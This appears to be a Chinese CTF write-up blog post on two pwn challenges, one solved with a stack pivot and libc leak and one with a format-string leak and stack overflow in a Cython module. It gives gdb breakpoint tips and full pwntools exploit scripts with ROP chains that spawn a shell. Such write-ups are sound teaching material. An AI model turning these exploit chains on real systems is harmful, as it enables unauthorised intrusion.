跳到主要内容

· 阅读需 6 分钟
Muel - Nova

两题简单 PWN,单纯更新一下,记录一下 Python 调试

move

纯纯签到,栈迁移泄露 libc 打 system 即可(省略 Snippet 部分)

注意到进第二次 read 前,正好 RSP 是 bss + 8,进到 read 时正好到 bss 了,此时 ret 就直接回到了 bss 处,完全不需要第二次迁移。

pop_rdi = 0x0000000000401353
bss = 0x4050a0
leave_ret = 0x40124b

sendafter(b'again!', p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main']))
sendafter(b'number', p32(0x12345678))
dbg(pause_time=5)
sendafter(b'TaiCooLa', b'A'*0x30 + p64(bss-8) + p64(leave_ret))

libc.address = u64(recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
print(f'libc: {hex(libc.address)}')
sendlineafter(b'again!', p64(pop_rdi) + p64(libc.search(b'/bin/sh').__next__()) + p64(libc.symbols['system']))
interactive()

Pwnthon

用 CPython 写的 .so,需要相同的 Python 版本才能导入。

注意到这个 .so 文件是动态加载的,因此不能通过 gdb.debug 直接下断点。但是测试的时候又发现我卡在 read 时再下断并不能 c 过去

信息

事后推测可能是断点下错位置了,不好评价

因此我采用一种比较 tricky 的方法,就是把断点下到 PyImport_ImportModule+4 的位置,看导到哪个包时 .so 被加载,此时再下断,后面调试的时候下条件断点即可。

b *PyImport_ImportModule+4 if strcmp((char*)$rdi, "datetime") == 0

断的时候也有技巧,导入 ida 时发现它有 dbg 信息,可以知道某一行是哪个文件的哪行,而 gdb 会自动处理 offset,这样会方便一些。当然,因为符号表没去掉,所以也可以直接 func_name+offset

image-20231017090646706

b app.c:2963
# or
b __pyx_f_3app_Welcome2Pwnthon+36

调试的方法说完了就直接开看。漏洞点也很明显,一个格式化字符串 + 一个栈溢出

image-20231017091040667

但是 Python 不能使用 %n$ 这样的方法,因此得一个一个写,也就没有什么任意地址写的方法。不过 gdb 一调就发现栈上有可以泄露的 open64+232 之类的地址,再加上 canary 一起泄露就完事了。

image-20231017092014997

注意这里 Python 用 rsp 来存返回地址,所以虽然是 %31$p 但是其实是 %30$ 就可以

sendline(b'%p.'*0x1e)
resp = recvline(keepends=False).split(b'.')
print(resp)
canary = int(resp[-2], 16)
success(f'>> canary = {hex(canary)}')
libc.address = int(resp[-8], 16) - 0x1147b8
success(f">> libc = {hex(libc.address)}")

拿出来之后栈溢出写 system 就行

from pwn import *
from argparse import ArgumentParser
from pathlib import Path
from typing import Optional, Any, Literal

# ------- Config -------
LOG_LEVEL = 'debug'
OS = 'linux'
ARCH = 'amd64'
TERMINAL = ['wt.exe', 'bash', '-c']

ATTACHMENT = './pwn'
RUNARGS = ''
LIBC = './libc.so.6'
HOST = ''
PORT = 0

DEBUG = True
REMOTE = False
GDB = False # gdb.debug(elf.path, gdbscript=gdbscript)
GDB_SCRIPT = ''

# ------- Config -------
parser = ArgumentParser(description="Pwnable Commandline")
parser.add_argument('ATTACHMENT', nargs='?', default=ATTACHMENT)
parser.add_argument('--libc', '-l', nargs='?', default=LIBC)
parser.add_argument('--no-debug', '-D', action='store_true', default=False, help='Disable debug mode')
parser.add_argument('--remote', '-r', action='store', default="")
parser.add_argument('--host', '-H', action='store', default='')
parser.add_argument('--port', '-p', action='store', default=0)
parser.add_argument('--gdb', '-g', action='store_true', default=GDB, help='Run binary using gdb.debug')
parser.add_argument('--gdb-script', '-G', action='store', default=GDB_SCRIPT)
parser.add_argument('--args', '-a', action='store', default=RUNARGS)
args = parser.parse_args()

if args.host and args.port:
REMOTE = True
HOST = args.host
PORT = int(args.port)

if args.remote:
REMOTE = True
HOST, PORT = args.remote.split(':')
PORT = int(PORT)

if args.args:
RUNARGS = args.args

# To avoid error
if not Path(args.ATTACHMENT).exists():
ATTACHMENT = '/bin/sh'
DEBUG = False
else:
ATTACHMENT = args.ATTACHMENT

if not Path(args.libc).exists():
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
else:
LIBC = args.libc

if args.no_debug:
DEBUG = False

if args.gdb:
DEBUG = False
GDB=True
GDB_SCRIPT = args.gdb_script

del parser, ArgumentParser, Path, args

context.log_level = LOG_LEVEL
context.terminal = TERMINAL
context.os = OS
context.arch = ARCH

if REMOTE:
DEBUG = False
sh = remote(HOST, PORT)
elif GDB:
sh = gdb.debug([ATTACHMENT, *RUNARGS.split(' ')], gdbscript=GDB_SCRIPT)
else:
sh = process([ATTACHMENT, *RUNARGS.split(' ')])

libc = ELF(LIBC)
elf = ELF(ATTACHMENT)

sendline = sh.sendline
sendlineafter = sh.sendlineafter
send = sh.send
sendafter = sh.sendafter
recv = sh.recv
recvline = sh.recvline
recvuntil = sh.recvuntil
interactive = sh.interactive

# Type Hint
def p4(x: int, endianness: Optional[Literal['little', 'big']] = None, sign = Optional[bool], **kwargs: Any) -> bytes: return pack(x, 4, endianness, sign, **kwargs)
def p8(x: int, endianness: Optional[Literal['little', 'big']] = None, sign = Optional[bool], **kwargs: Any) -> bytes: return pack(x, 8, endianness, sign, **kwargs)
def p16(x: int, endianness: Optional[Literal['little', 'big']] = None, sign = Optional[bool], **kwargs: Any) -> bytes: return pack(x, 16, endianness, sign, **kwargs)
def p32(x: int, endianness: Optional[Literal['little', 'big']] = None, sign = Optional[bool], **kwargs: Any) -> bytes: return pack(x, 32, endianness, sign, **kwargs)
def p64(x: int, endianness: Optional[Literal['little', 'big']] = None, sign = Optional[bool], **kwargs: Any) -> bytes: return pack(x, 64, endianness, sign, **kwargs)
def u4(x: bytes, **kwargs: Any) -> int: return unpack(x, 4, **kwargs)
def u8(x: bytes, **kwargs: Any) -> int: return unpack(x, 8, **kwargs)
def u16(x: bytes, **kwargs: Any) -> int: return unpack(x, 16, **kwargs)
def u32(x: bytes, **kwargs: Any) -> int: return unpack(x, 32, **kwargs)
def u64(x: bytes, **kwargs: Any) -> int: return unpack(x, 64, **kwargs)


def dbg(script: str = '', pause_time: int = 3, **kwargs):
if DEBUG:
gdb.attach(sh, script, **kwargs)
if pause_time == 0:
pause()
else:
pause(pause_time)

class Offset:
def __init__(self, base: int, program: ELF):
self.base = base
self.program = program

def __getattr__(self, item) -> int:
"""
offset.plt.puts
offset.got.puts
offset.main
"""
if item in ['plt', 'got']:
class _:
def __getattr__(s, i):
return self.base + getattr(self.program, item)[i]
return _()
return self.base + self.program.symbols[item]

def __getitem__(self, item) -> int:
"""
offset['plt', 'puts']
offset['got', 'puts']
offset['main']
"""
if isinstance(item, tuple):
return self.base + getattr(self.program, item[0])[item[1]]
else:
return self.base + self.program.sym[item]

# ------- Exploit -------'
# dbg('set follow-fork-mode parent\nb *__pyx_f_3app_Welcome2Pwnthon+163')
dbg('set follow-fork-mode parent\nb *__pyx_f_3app_Welcome2Pwnthon+85')
sendlineafter(b'> ', b'0')
recvuntil(b'gift ')
gift = int(recvline(), 16)
success(f'>> gift = {hex(gift)}')
sendline(b'%p.'*0x1e)
resp = recvline(keepends=False).split(b'.')
print(resp)
canary = int(resp[-2], 16)
success(f'>> canary = {hex(canary)}')
libc.address = int(resp[-8], 16) - 0x1147b8
success(f">> libc = {hex(libc.address)}")

bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
ret_addr = libc.address + 0x0000000000029139
pop_rdi_ret = libc.address + 0x000000000002a3e5

payload = b'A'*0x108 + p64(canary) + p64(0) + flat(pop_rdi_ret, bin_sh, ret_addr, system)
sh.send(payload)
sh.interactive()
python exp.py -a main.py venv/bin/python # venv/bin/python 是 3.7 的版本